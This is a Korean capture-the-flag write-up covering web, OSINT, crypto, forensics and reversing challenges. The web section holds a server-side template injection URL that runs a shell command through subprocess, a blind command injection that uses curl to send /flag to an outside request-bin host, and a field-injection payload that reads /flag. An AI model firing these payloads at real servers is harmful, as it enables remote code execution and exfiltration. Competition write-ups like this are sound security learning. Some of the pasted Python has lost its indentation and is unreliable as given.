Team : yoobi(solo)
Rank : 3/47th
간단한 SSTI 문제였다. subprocess.popen의 위치를 찾아 RCE를 할 수 있었고, flag를 획득할 수 있었다.
http://18.179.206.187:8080/%7B%7B''.__class__.__mro__[1].__subclasses__()[279]('cat%20/flag',shell=True,stdout=-1).communicate()%7D%7D
드림핵 blind-command와 같은 문제였다.
명령어는 실행할 수 있지만, 실행결과를 확인할 수 없었다.
dreamhack tools를 활용해 실행결과를 받아왔다
http://18.179.206.187:8081/?cmd=curl%20https://wwyjjqd.request.dreamhack.games%20-d%20%22$(cat%20/flag)%22
처음 문제를 접했을 때에는, command-injection 처럼 코드를 강제로 닫고 다른 명령어를 추가적으로 실행하는 형태인 줄 알았다. 하지만 + 와 " ' 등 그대로 문자열로 들어가서 시간이 오래걸렸다.
최종적으로 코드를 닫지 않고 flag를 읽을 수 있었다
%27,%27data%27:open("/flag").read(),%27data2%27:%27aaaa
주어진 Visist.PNG를 구글에서 사진 검색을 진행하면 떡박물관이 나왔다.
문제에서 어디서 내려야하는지 묻고 있어서 박물관소개 -> 찾아오시는 길을 확인해보니 버스 "창덕궁 하자"를 확인할 수 있었다.
창덕궁을 영어로 바꾸어 제출한 것이 FLAG 였다.
FLAG : CTF{Changdeokgung}
주어진 사진을 구글 검색해보면 미국의 어느 동네가 나온다.
이 곳이 어디냐는 질문이어서 주소를 전부 넣었지만 계속 틀렸었다.
FLAG : CTF{15005_Germanna_Highway}
주어진 cipher.txt에 암호가 들어있었다. 이번 CTF의 crypto에서는 web-tool을 많이 활용하였다.
주어진 사진 파일을 hxd로 열어보니 내부에 zip파일이 존재했다.
zip 파일을 추출해서 압축을 해제하면 암호문을 확인할 수 있다.
나온 암호문들을 base64로 디코딩하면 FLAG를 얻을 수 있다
암호화된 값과 함께 식이 주어졌다.
[365, 450, 380, 645, 635, 270, 615, 440, 505, 620, 285, 440, 635, 505, 385, 535, 420, 275, 455, 445, 655]
math ? math ? math ? math ?
??? * ??? + ???
식을 역으로 계산하면서 2개의 변수가 존재하므로
0~99까지 반복하며 첫 문자가 'C'가 나오는 case의 값을 출력하였다
key = [365, 450, 380, 645, 635, 270, 615, 440, 505, 620, 285, 440, 635, 505, 385, 535, 420, 275, 455, 445, 655]
for i in range(100):
for j in range(100):
try:
if (365 - j) / i == 67:
print(j)
print(i)
for data in key:
print(chr(int((data - j) / i)), end="")
print()
break
except Exception as e:
continue
'''
math ? math ? math ? math ?
??? * ??? + ???
'''
주어진 cipther.txt에는 base32로 인코딩된 p, q, n, c, e가 주어졌다.
base32로 디코딩하여 복호화하면 FLAG를 획득할 수 있다
import os
import signal
from binascii import unhexlify, hexlify
from crypto.Util.number import *
from math import gcd
sys.modules['Crypto'] = crypto
n = 12268861080340844535145975310392509360823153719376586611489690454765986953629116697758338076600781494862307444320601892610660003300168463596607070964007801606438518832913492341076158160703624763842061005406516421930124960982875248486116829211247227165197049266388156327452635523371656251880794759342523353499216125911443164750451100759782602560359992463984984022383963158160103371526230054625883809178558573212883044422009302271951950710727506770613701752516164097131447019253654289696060751262886483162522170953044801268689407428382545514594139093102371813874988390238654833099386674530159693649939611709757537572761
e = 65537
c = 2709659697530809314342788643470985295703906707343452747930954498846934369129480120103672044253934493071950383867997873418204130295076454904440371482025374039874576434763002601196271887354738416524570425582323485111139333532365908831823388652792665828865677090353370382705074525025616547407986490998272955409082186310582140036203463584361093453693283905897373278084596796284946338988591127795462329329449392512490909932371512690701203996543903194485790532828189703932989697504562304933327695627250956221941294022532377519235593166589515428005395866534755669004445830701271798170544491585538653984130109427804065529840
p = 124540961948933098868406548562204545638529800984769885258851062124699315070226124940176186935841901193478091008896685327842003314304814832187873203883271870789082536905423462490539347090339890859804694758415664302589356021649711998242536913076694120584752139581097829339281125438416861452148622177232877172327
q = 98512657107719953663730950456089989263136004550164238382537603059952803263475211599358633058449939208227123593986393535526935675869265731684562952699051531617834750578819348986290712474509251808815274487241527750194630914977848764461238471804716470009495614282845719241705285733139084547325935445830827590143
def lcm(x, y):
return (x * y) // gcd(x, y)
def ex_euclid(x, y):
c0, c1 = x, y
a0, a1 = 1, 0
b0, b1 = 0, 1
while c1 != 0:
m = c0 % c1
q = c0 // c1
c0, c1 = c1, m
a0, a1 = a1, (a0 - q * a1)
b0, b1 = b1, (b0 - q * b1)
return a0, b0
t = lcm(p - 1, q - 1)
a, b = ex_euclid(e, t)
d = a % t
m = pow(c, d, n)
print(long_to_bytes(m))
주어진 사진을 hxd로 열어보면 header 시그니처가 00 00 00 ... 으로 날아가있었다. PNG의 header 시그니처로 복구해주니 사진을 볼 수 있었지만 아무런 데이터가 없었다.
스테가노 그래피를 확인해보면 FLAG를 획득할 수 있다
주어진 파일을 hxd로 열어서 확인해보면 flag : 암호문 을 확인할 수 있다
base58로 여러번 디코딩하면 FLAG를 획득할 수 있다
Untitled.png 내에 zip 파일이 존재한다.
추출해보면 비밀번호가 걸려있는데,
이를 JohnTheRipper로 크랙하면 비밀번호가 "weasley1"임을 알 수 있다
압축을 해제하면 FLAG를 획득할 수 있다
Rules에 FLAG가 존재한다
challenge.mp3 파일이 주어진다. sonic visualiser로 파일을 열어서 확인하면 FLAG를 확인할 수 있다
FLAG : CTF{몰?루}
주어진 파일을 IDA로 열어보면 아래와 같은 코드로 입력값 확인을 하는 것을 알 수 있다.
비교하는 부분을 간단한 파이썬 스크립트로 구현하여 FLAG를 획득하였다
string = """
if ( *(_BYTE *)(a1 + 1) != 67 )
return 0i64;
if ( *(_BYTE *)(a1 + 2) != 84 )
return 0i64;
if ( *(_BYTE *)(a1 + 3) != 70 )
return 0i64;
if ( *(_BYTE *)(a1 + 4) != 123 )
return 0i64;
if ( *(_BYTE *)(a1 + 5) != 115 )
return 0i64;
if ( *(_BYTE *)(a1 + 6) != 116 )
return 0i64;
if ( *(_BYTE *)(a1 + 7) != 114 )
return 0i64;
if ( *(_BYTE *)(a1 + 8) != 108 )
return 0i64;
if ( *(_BYTE *)(a1 + 9) != 51 )
return 0i64;
if ( *(_BYTE *)(a1 + 10) != 110 )
return 0i64;
if ( *(_BYTE *)(a1 + 11) != 95 )
return 0i64;
if ( *(_BYTE *)(a1 + 12) != 106 )
return 0i64;
if ( *(_BYTE *)(a1 + 13) != 117 )
return 0i64;
if ( *(_BYTE *)(a1 + 14) != 109 )
return 0i64;
if ( *(_BYTE *)(a1 + 15) != 112 )
return 0i64;
if ( *(_BYTE *)(a1 + 16) != 95 )
return 0i64;
if ( *(_BYTE *)(a1 + 17) != 99 )
return 0i64;
if ( *(_BYTE *)(a1 + 18) != 97 )
return 0i64;
if ( *(_BYTE *)(a1 + 19) != 108 )
return 0i64;
if ( *(_BYTE *)(a1 + 20) != 108 )
return 0i64;
if ( *(_BYTE *)(a1 + 21) != 95 )
return 0i64;
if ( *(_BYTE *)(a1 + 22) != 104 )
return 0i64;
if ( *(_BYTE *)(a1 + 23) != 51 )
return 0i64;
if ( *(_BYTE *)(a1 + 24) == 51 )
return *(_BYTE *)(a1 + 25) == 125;
return 0i64;
}"""
flag = ""
string = string.replace("\n","")
string = string.replace(" ","")
string = string.split("return0i64;")
print(string)
for data in string:
data = data.split("!=")
try:
data = data[1].replace(")","")
except Exception as e:
print(e)
continue
#print(data)
#print(chr(int(data)))
flag += chr(int(data))
"""
if ( *(_BYTE *)(a1 + 24) == 51 )
return *(_BYTE *)(a1 + 25) == 125;
"""
flag += chr(int(51))
flag += chr(int(125))
print(flag)